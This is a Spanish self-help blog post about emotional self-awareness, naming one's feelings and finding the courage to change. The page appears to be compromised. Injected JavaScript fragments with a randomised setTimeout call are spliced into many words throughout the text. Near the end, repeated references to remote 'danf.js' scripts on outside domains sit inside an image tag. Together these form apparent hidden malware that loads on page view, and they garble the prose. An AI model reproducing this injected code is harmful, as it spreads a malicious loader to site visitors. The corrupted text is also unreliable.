LA VALENTÍA DE SER TÚ

Home / Noticias / LA VALENTÍA DE SER TÚ

 

Si no hay equilibrio en tu vida, tu salud se resiente. No esperes que lo que está fuera de ti cambie para sentirte tú mejor. Mira dentro de ti, habla contigo, escúchate! Sólo tú puedes cambiar la actitud ante la vida. De esta manera abres la puerta a los cambios porque tú has hecho algo para hacerlo posible. Es imposible desear obtener resultados distintos si sigues haciendo lo mismo de siempre.

Mira tu agenda, hazte un hueco en ella. Un hueco importante porque estás concertandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando una cita con la persona más importante de tu vida: .

Háblate, cuéntate qué te pasa, comparte tus ilusiones, tus deseos, escucha cómo te hablas…respira, haz pausas, relájate y siente tu propia comprensión. Explícate también a qué temes, qué te preocupa, qué te inquieta…respira tranquil@, todo está bien, lo estás haciendo muy bien. Háblate con respeto cuidandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando de ti, atendiéndote, y date cuenta de cómo estás emocionalmente. ¿Sientes miedo…incomodidad?… ¿ o más bien es ira, tensión?…¿quizás es tristeza, decaimiento?…¿o te sientes bien, motivad@, feliz?

Es importante poner nombre a tus emociones. El segundo paso es saber qué es lo que hace que te sientas así. Si lo sabes, es un buen comienzo porque  sabrás qué es lo que quieres cambiar para sentirte mejor, o que es lo que hace que estés así de bien.

Si sientes que quieres cambiar algo , empieza por darte cuenta de cuales son tus pensamientos, qué tipo de pensamientos te vienen a la mente normalmente. Éstos tienen mucho poder. La mente no distingue si lo que piensas está sucediendo o no. Se lo cree todo! Por lo tanto, quizás un primer cambio sea alejar todos aquellos pensamientos que no son reales y que no te llevan a nada positivo. Tan sólo te generan más inquietud o angustia, sumiéndote en una emoción que te frena o te bloquea, impidiéndote realizar aquello que deseas; haciéndote creer que tú no puedes.

Si dejas de pensar en ellos conscientemente, si cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando aparecen » los saludas o abrazas» y los dejas pasar sin enfado, sin que te afecten emocionalmente, sin  «alimentarlos», si poco a poco con la práctica los vas reduciendo, estás ganandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando poder a tu mente, estás ocupandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando con tu SER ese espacio sin cedérselo a tu ego. Sí, a tu ego, ese que crees que eres tú, pero que no es el auténtico SER que vive en ti.

Permítete exteriorizar el sentimiento. No hay emociones positivas o negativas. Todas ellas son buenas porque te hablan de cómo estás, precisamente para que te entiendas, para que valores qué te está ocurriendo, para que salgas de la queja si eres de l@s que «vives» en ella, para que te des cuenta que está en tus manos cambiarlo, aunque cueste y te sea incómodo, doloroso o te cause cierto temor. «Quien se tira, se impregna, se lleva» «Quien se moja se refresca».

La valentía de ser un@ mism@ está ahí. ¿Qué quieres para ti, para tu vida? Para conseguirlo tendrás que pasar primero por ese darte cuenta de en qué punto te encuentras, cuál es el coste de seguir así. Si hay más beneficio que coste en vivir la vida que llevas ahora, quizás no sea necesario un cambio ahora mismo. Si hay más coste que beneficio, ¿hasta cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando vas a llevar «esa piedra en el zapato»?

, hay que ser valiente para empezar con cualquier cambio que supone algún que otro obstáculo, un grado de inseguridad y desconocimiento con lo que te vas a encontrar, quizás miedo a lo que vas a renunciar. Pero sólo hay dos caminos: quedarte como estás aunque no te satisface, es a eso precisamente a lo que se llama «zona de confort». No quiere decir que estés bien, sino que es lo que ya conoces (te guste o no). O, el otro camino es optar por el cambio, que aunque tenga sus dificultades, sabes a donde quieres llegar.

Si lo que haces tiene sentido para ti, la motivación se activa porque la ilusión está ahí.

Cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando eres capaz de emocionarte por algo, cuandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando algo te commueve, alguna cosa se activa en tu interior, y nacen  las ganas de profundizar en ello generandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando más curiosidad. Nace el deseo de compartirlo, de comunicarlo, de vivirlo con alguien más que así lo viva y lo sienta creandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando sintonía, complicidad y unión con la otra persona, sea amig@, pareja, o grupo. Pero primero eres tú quien lo ha experimentado en tu interior, quien a llenado tu ser, despertándote a la vida. Si no estás despiert@, no puedes despertar a nadie más. Es así como empieza la conexión con lo que se mueve a tu alrededor; conectandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ando contigo mism@.

Eso es vivir una vida con sentido. Hay movimiento, hay luz, y la vida fluye, es así como el cuerpo y el alma respiran salud.

La vida es una, tú decides cómo quieres vivirla. Tienes la libertad de decidir. Y, ya sabes, TODO lo que elijas libremente para ti, está bien.

andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&middle.destinyfernandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&www.acctione.com/wp-content/uploads/FB_IMG_14558048154381.jpg» alt=»fb_img_14558048154381″ width=»389″ height=»389″ />

 

Un abrazo desde el corazón.